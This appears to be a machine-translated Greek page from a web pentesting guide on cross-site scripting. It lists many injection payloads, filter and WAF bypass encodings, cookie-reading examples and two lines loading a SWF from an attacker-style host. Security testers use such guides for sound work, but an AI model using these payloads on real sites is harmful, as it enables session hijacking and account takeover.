XSS (Cross Site Scripting)

Reading time: 54 minutes

Methodology

  1. Ελέγξτε αν οποιαδήποτε τιμή ελέγχετε (παράμετροι, μονοπάτι, κεφαλίδες?, cookies?) αντανάκλαται στο HTML ή χρησιμοποιείται από JS κώδικα.
  2. Βρείτε το πλαίσιο όπου αντανάκλαται/χρησιμοποιείται.
  3. Αν αντανάκλαται
  4. Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα με αυτό, προετοιμάστε το payload:
  5. Σε ακατέργαστο HTML:
  6. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
  7. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο javascript:;
  8. Μπορείτε να παρακάμψετε τις προστασίες;
  9. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (AngularJS, VueJS, Mavo...), θα μπορούσατε να εκμεταλλευτείτε μια Client Side Template Injection.
  10. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια Dangling Markup - HTML scriptless injection;
  11. Μέσα σε μια ετικέτα HTML:
  12. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
  13. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS;
  14. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
  15. Μπορείτε να παρακάμψετε τις προστασίες;
  16. Μέσα σε κώδικα JavaScript:
  17. Μπορείτε να διαφύγετε την ετικέτα <script>;
  18. Μπορείτε να διαφύγετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
  19. Είναι η είσοδός σας σε template literals ``?;
  20. Μπορείτε να παρακάμψετε τις προστασίες;
  21. Javascript λειτουργία που εκτελείται
  22. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: ?callback=alert(1)
  23. Αν χρησιμοποιείται:
  24. Θα μπορούσατε να εκμεταλλευτείτε μια DOM XSS, προσέξτε πώς ελέγχεται η είσοδός σας και αν η ελεγχόμενη είσοδός σας χρησιμοποιείται από οποιοδήποτε sink.

Όταν εργάζεστε σε μια σύνθετη XSS μπορεί να βρείτε ενδιαφέρον να γνωρίζετε για:

Debugging Client Side JS

Reflected values

Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανάκλαται στη σελίδα web.

  • Ενδιάμεσα αντανάκλαση: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια Reflected XSS.
  • Αποθηκευμένη και αντανάκλαση: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια Stored XSS.
  • Πρόσβαση μέσω JS: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια DOM XSS.

Contexts

Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι πού αντανάκλαται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.

Raw HTML

Αν η είσοδός σας είναι αντανάκλαση στην ακατέργαστη HTML σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια ετικέτα HTML προκειμένου να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.
Επίσης, έχετε κατά νου Client Side Template Injection.

Μέσα σε χαρακτηριστικά ετικετών HTML

Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:

  1. Να διαφύγετε από το χαρακτηριστικό και από την ετικέτα (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: "><img [...]
  2. Αν μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα (> είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να δημιουργήσετε ένα γεγονός που εκτελεί κώδικα JS: " autofocus onfocus=alert(1) x="
  3. Αν δεν μπορείτε να διαφύγετε από το χαρακτηριστικό (" είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με ποιο χαρακτηριστικό η τιμή σας αντανάκλαται αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως onclick= θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το χαρακτηριστικό href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
  4. Αν η είσοδός σας αντανάκλαται μέσα σε "μη εκμεταλλεύσιμες ετικέτες" θα μπορούσατε να δοκιμάσετε το κόλπο accesskey για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): " accesskey="x" onclick="alert(1)" x="

Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Μέσα στον κώδικα JavaScript

Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των <script> [...] </script> ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο .js ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο javascript::

  • Αν ανακλάται μεταξύ των <script> [...] </script> ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε </script> και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα </script> είναι μέσα στον κώδικα HTML.
  • Αν ανακλάται μέσα σε μια συμβολοσειρά JS και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να βγείτε από τη συμβολοσειρά, εκτελέσετε τον κώδικά σας και ανακατασκευάσετε τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Αν ανακλάται μέσα σε πρότυπες κυριολεξίες, μπορείτε να ενσωματώσετε εκφράσεις JS χρησιμοποιώντας τη σύνταξη ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Η κωδικοποίηση Unicode λειτουργεί για να γράψει έγκυρο κώδικα javascript:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Η αναφορά Javascript Hoisting αναφέρεται στην ευκαιρία να δηλώσετε συναρτήσεις, μεταβλητές ή κλάσεις μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.
Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:

JS Hoisting

Javascript Function

Πολλές ιστοσελίδες έχουν endpoints που αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: ?callback=callbackFunc.

Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην κονσόλα για σφάλματα όπως:

Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να προκαλέσετε μια ειδοποίηση απλά στέλνοντας την τιμή: ?callback=alert(1). Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να επικυρώνουν το περιεχόμενο για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]).

Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να πρόσβαση σε οποιοδήποτε στοιχείο στο DOM:

Ορισμένες χρήσιμες συναρτήσεις για αυτό:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Μπορείτε επίσης να προσπαθήσετε να ενεργοποιήσετε συναρτήσεις Javascript απευθείας: obj.sales.delOrders.

Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, άλλες σελίδες στην ίδια προέλευση θα έχουν ένα πιο ενδιαφέρον DOM για να εκτελέσουν περισσότερες ενέργειες.

Επομένως, προκειμένου να καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Υπάρχει κώδικας JS που χρησιμοποιεί μη ασφαλώς κάποια δεδομένα που ελέγχονται από έναν επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS.

DOM XSS

Universal XSS

Αυτού του είδους οι XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας διαδικτυακής εφαρμογής αλλά από οποιοδήποτε περίγραμμα. Αυτού του είδους η αυθαίρετη εκτέλεση JavaScript μπορεί ακόμη και να καταχραστεί για να αποκτήσει RCE, να διαβάσει αυθαίρετα αρχεία σε πελάτες και διακομιστές, και άλλα.
Ορισμένα παραδείγματα:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Εισαγωγή μέσα σε ακατέργαστο HTML

Όταν η είσοδός σας αντικατοπτρίζεται μέσα στη σελίδα HTML ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το πρώτο πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το < για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να αντικατοπτρίσετε αυτό το χαρακτήρα και ελέγξτε αν είναι HTML encoded ή διαγραφεί ή αν είναι αντικατοπτρισμένο χωρίς αλλαγές. Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτήν την περίπτωση.
Για αυτές τις περιπτώσεις, επίσης κρατήστε στο μυαλό σας Client Side Template Injection.
Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας****-->****ή **--!>**

Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να δοκιμάσετε ποια ετικέτες μπορείτε να δημιουργήσετε.
Μόλις έχετε εντοπίσει ποιες ετικέτες επιτρέπονται, θα χρειαστεί να δοκιμάσετε χαρακτηριστικά/γεγονότα μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.

Δοκιμή ετικετών/γεγονότων

Πηγαίνετε στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet και κάντε κλικ στο Αντιγραφή ετικετών στο πρόχειρο. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να δοκιμάσετε όλα τα γεγονότα χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο Αντιγραφή γεγονότων στο πρόχειρο και ακολουθήστε την ίδια διαδικασία όπως πριν).

Προσαρμοσμένες ετικέτες

Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να δημιουργήσετε μια προσαρμοσμένη ετικέτα και να εκτελέσετε κώδικα JS με το χαρακτηριστικό onfocus. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με # για να κάνετε τη σελίδα να εστιάσει σε αυτό το αντικείμενο και να εκτελέσει τον κώδικα:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Αν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Περισσότερα μικρά XSS για διάφορα περιβάλλοντα payload μπορείτε να τα βρείτε εδώ και εδώ.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον χρήστη να κάνει κλικ σε έναν σύνδεσμο ή μια φόρμα με προγεμισμένα δεδομένα, μπορείτε να προσπαθήσετε να καταχραστείτε το Clickjacking (αν η σελίδα είναι ευάλωτη).

Impossible - Dangling Markup

Αν νομίζετε ότι είναι αδύνατο να δημιουργήσετε μια ετικέτα HTML με ένα χαρακτηριστικό για να εκτελέσετε κώδικα JS, θα πρέπει να ελέγξετε Dangling Markup γιατί θα μπορούσατε να εκμεταλλευτείτε την ευπάθεια χωρίς να εκτελέσετε κώδικα JS.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Αν είστε μέσα σε μια ετικέτα HTML, το πρώτο πράγμα που μπορείτε να προσπαθήσετε είναι να ξεφύγετε από την ετικέτα και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην προηγούμενη ενότητα για να εκτελέσετε κώδικα JS.
Αν δεν μπορείτε να ξεφύγετε από την ετικέτα, μπορείτε να δημιουργήσετε νέα χαρακτηριστικά μέσα στην ετικέτα για να προσπαθήσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να ξεφύγετε από το χαρακτηριστικό, δεν θα τα χρειαστείτε αν η είσοδός σας ανακλάται απευθείας μέσα στην ετικέτα):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Στυλ εκδηλώσεων

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Μέσα στο χαρακτηριστικό

Ακόμα και αν δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό (" κωδικοποιείται ή διαγράφεται), ανάλογα με ποιο χαρακτηριστικό αντανακλάται η τιμή σας αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως το onclick= θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.
Ένα άλλο ενδιαφέρον παράδειγμα είναι το χαρακτηριστικό href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"

Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση

Οι HTML κωδικοποιημένοι χαρακτήρες μέσα στην τιμή των χαρακτηριστικών HTML tags αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Σημειώστε ότι οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Σημειώστε ότι η κωδικοποίηση URL θα λειτουργήσει επίσης:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Παράκαμψη εσωτερικού γεγονότος χρησιμοποιώντας κωδικοποίηση Unicode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Ειδικά Πρωτόκολλα Μέσα στο attribute

Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript: ή data: σε ορισμένα μέρη για να εκτελέσετε αυθαίρετο JS κώδικα. Ορισμένα θα απαιτούν αλληλεπίδραση από τον χρήστη και άλλα όχι.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα

Γενικά, το javascript: πρωτόκολλο μπορεί να χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό href και σε τις περισσότερες από τις ετικέτες που δέχονται το χαρακτηριστικό src (αλλά όχι <img)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Άλλες τεχνικές απόκρυψης

Σε αυτή την περίπτωση, η κωδικοποίηση HTML και η τεχνική κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρες καθώς βρίσκεστε μέσα σε ένα χαρακτηριστικό.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Επιπλέον, υπάρχει ένα άλλο ωραίο κόλπο για αυτές τις περιπτώσεις: Ακόμα και αν η είσοδός σας μέσα στο javascript:... είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί. Έτσι, αν χρειαστεί να ξεφύγετε από τη σειρά χρησιμοποιώντας ένα μονό απόσπασμα και βλέπετε ότι κωδικοποιείται URL, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως μονό απόσπασμα κατά τη διάρκεια της χρόνου εκτέλεσης.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload, δεν θα λειτουργήσει, αλλά μπορείτε να τα αναμίξετε μέσα στο payload.

Χρησιμοποιώντας Hex και Octal κωδικοποίηση με javascript:

Μπορείτε να χρησιμοποιήσετε Hex και Octal κωδικοποίηση μέσα στο src χαρακτηριστικό του iframe (τουλάχιστον) για να δηλώσετε HTML tags για να εκτελέσετε JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Αντεστραμμένο tab nabbing

javascript
<a target="_blank" rel="opener"

Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη <a href= ετικέτα που περιέχει τα χαρακτηριστικά target="_blank" και rel="opener", ελέγξτε τη παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:

Reverse Tab Nabbing

σχετικά με την Παράκαμψη Χειριστών Συμβάντων

Πρώτα απ' όλα, ελέγξτε αυτή τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους "on" χειριστές συμβάντων.
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που σας εμποδίζει να δημιουργήσετε αυτούς τους χειριστές συμβάντων, μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)

Από εδώ είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Και σε meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Από εδώ: Μπορείτε να εκτελέσετε ένα XSS payload μέσα σε ένα κρυφό χαρακτηριστικό, εφόσον μπορείτε να πεισθείτε τον θύμα να πατήσει τον συνδυασμό πλήκτρων. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Ακολουθεί ο φορέας:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Το XSS payload θα είναι κάτι σαν αυτό: " accesskey="x" onclick="alert(1)" x="

Παράκαμψη Μαύρης Λίστας

Διάφορα κόλπα με τη χρήση διαφορετικής κωδικοποίησης έχουν ήδη αποκαλυφθεί σε αυτή την ενότητα. Πήγαινε πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:

  • HTML κωδικοποίηση (HTML tags)
  • Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κώδικας JS): \u0061lert(1)
  • URL κωδικοποίηση
  • Hex και Octal κωδικοποίηση
  • κωδικοποίηση δεδομένων

Παράκαμψη για HTML tags και attributes

Διάβασε τις Παράκαμψεις Μαύρης Λίστας της προηγούμενης ενότητας.

Παράκαμψη για κώδικα JavaScript

Διάβασε την παράκαμψη μαύρης λίστας JavaScript της επόμενης ενότητας.

CSS-Gadgets

Αν βρεις ένα XSS σε πολύ μικρό μέρος του ιστού που απαιτεί κάποια αλληλεπίδραση (ίσως ένα μικρό σύνδεσμο στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να προσπαθήσεις να τροποποιήσεις τον χώρο που καταλαμβάνει αυτό το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.

Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλ στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Αλλά, αν το WAF φιλτράρει το attribute style, μπορείς να χρησιμοποιήσεις CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα

.test {display:block; color: blue; width: 100%}

και

#someid {top: 0; font-family: Tahoma;}

Τώρα μπορείς να τροποποιήσεις τον σύνδεσό μας και να τον φέρεις στη μορφή

<a href="" id=someid class=test onclick=alert() a="">

Αυτό το κόλπο ελήφθη από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Εισαγωγή μέσα στον κώδικα JavaScript

Σε αυτές τις περιπτώσεις η είσοδός σου θα αντανακλάται μέσα στον κώδικα JS ενός αρχείου .js ή μεταξύ των ετικετών <script>...</script> ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ attributes που δέχονται το πρωτόκολλο javascript:.

Διαφυγή ετικέτας <script>

Αν ο κώδικάς σου εισάγεται μέσα σε <script> [...] var input = 'reflected data' [...] </script> μπορείς εύκολα να διαφύγεις κλείνοντας την ετικέτα <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

